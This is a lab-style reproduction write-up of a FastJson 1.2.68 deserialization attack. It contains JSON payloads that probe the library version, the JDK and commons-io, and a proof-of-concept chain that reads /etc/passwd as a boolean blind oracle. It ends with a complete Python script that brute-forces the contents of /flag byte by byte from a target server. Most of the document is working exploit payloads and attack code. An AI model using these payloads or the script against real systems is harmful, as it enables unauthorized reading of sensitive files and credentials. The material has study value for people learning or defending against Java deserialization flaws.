06-1268-readfile#
Reference: https://github.com/lemono0/FastJsonPart
Focusing on reproducing a process, understanding the vulnerability exploitation process. There are many excellent articles by experts online, but they are not sufficient for foundational learning (especially regarding compiling Java files with IDEA, how to resolve dependency issues, etc., -__-|). Therefore, I will write down the process of my reproduction.
Detecting version, removing parentheses error
{
"@type": "java.lang.AutoCloseable"
The version is 1.2.68
This version restricts the use of jndi, a common method is file read and write.
Environment dependency detection
Using Character type conversion error, when the specified class exists, it will report a conversion error; if it does not exist, there will be no output.
Detecting if it is jdk11
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "java.net.http.HttpClient"
}
}
This only indicates that it is not jdk11.
Detecting commons-io dependency
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.commons.io.Charsets"
}}
This indicates that the commons-io dependency exists, but the version is uncertain.
Detecting version
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.commons.io.file.Counters"
}
}
org.apache.commons.io.file.Counters was introduced in commons-io2.7~2.8
, and the absence of critical error output indicates that it is not version 2.7~2.8
.
File reading is performed under commons-io2.0~2.8, the poc is as follows:
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///etc/passwd"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
114,111,111,116
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}
The above poc attempts to read /etc/passwd, returning the following content, indicating that the content of /etc/passwd was successfully read, with 114,111,111,116
being root
.
This leads to a boolean blind injection. The next step is to write a script to read sensitive files and brute-force the bytes.
Using the script provided by the author for brute-forcing:
import requests
import json
url = "http://10.30.0.84/login"
asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126]
file_byte = []
data1 = """
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
"""
data2 = """
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}
"""
proxies = {
'http': '127.0.0.1:8080',
}
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
"Content-Type": "application/json; charset=utf-8"
}
for i in range(1,30): # Define how long to read, but do not read too long at once; it is recommended to read in multiple batches.
for i in asciis:
file_byte.append(str(i))
req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
text = req.text
if "charSequence" not in text:
file_byte.pop()
print(','.join(file_byte))
file_str = ""
for i in file_byte:
file_str += chr(int(i))
print(file_str)